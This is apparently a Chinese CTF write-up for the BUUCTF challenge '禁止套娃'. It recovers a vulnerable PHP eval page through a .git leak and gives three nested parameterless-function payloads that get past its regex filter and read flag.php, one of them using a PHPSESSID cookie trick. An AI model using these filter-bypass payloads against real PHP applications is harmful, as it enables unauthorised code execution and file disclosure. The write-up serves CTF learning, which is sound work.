[BUUCTF刷题]禁止套娃

    技术2022-07-11  141

    禁止套娃


    exp=show_source(next(array_reverse(scandir(pos(localeconv())))));exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));exp=show_source(session_id(session_start()));
    进入后显示flag在哪儿,找不到线索,进行目录扫描。但也没有扫到。查看别人的wp发现是.git泄露。但是自己的网址下/.git/显示403,所以即使目录扫描也扫不出来。使用GitHack.py下载源码 得到index.php源码 <?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?> 可以通过get一个exp参数,如果符合条件或者绕过限制,就可以执行。过滤了伪协议读取方式。(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。过滤了et|na|info|dec|bin|hex|oct|pi|log关键字。 根据源码可以知道flag就在flag.php中,然后exp要符合无参数的函数,但是可以套函数,也符合题目名称。

    scandir(’.’):扫描当前目录 localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. pos(),current():返回数组第一个值

    所以构造exp=print_r(scandir(pos(localeconv())));

    //数组操作函数:

    end():数组指针指向最后一位next(): 数组指针指向下一位array_reverse(): 将数组颠倒array_rand(): 随机返回数组的键名array_flip():交换数组的键和值

    读取文件函数

    file_get_content() :因为et被ban,所以不能使用readfile()highlight_file()show_source()

    方法一: 使用使上述文件数组反转后取next位即flag.php。然后读取文件 构造exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); 方法二: 同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到): exp=show_source(array_rand(array_flip(scandir(pos(localeconv()))))); 方法三:

    session_start(): 告诉PHP使用session; session_id(): 获取到当前的session_id值; 手动设置cookie中PHPSESSID=flag.php;

    所以可以构造exp=show_source(session_id(session_start()));

    Processed: 0.018, SQL: 9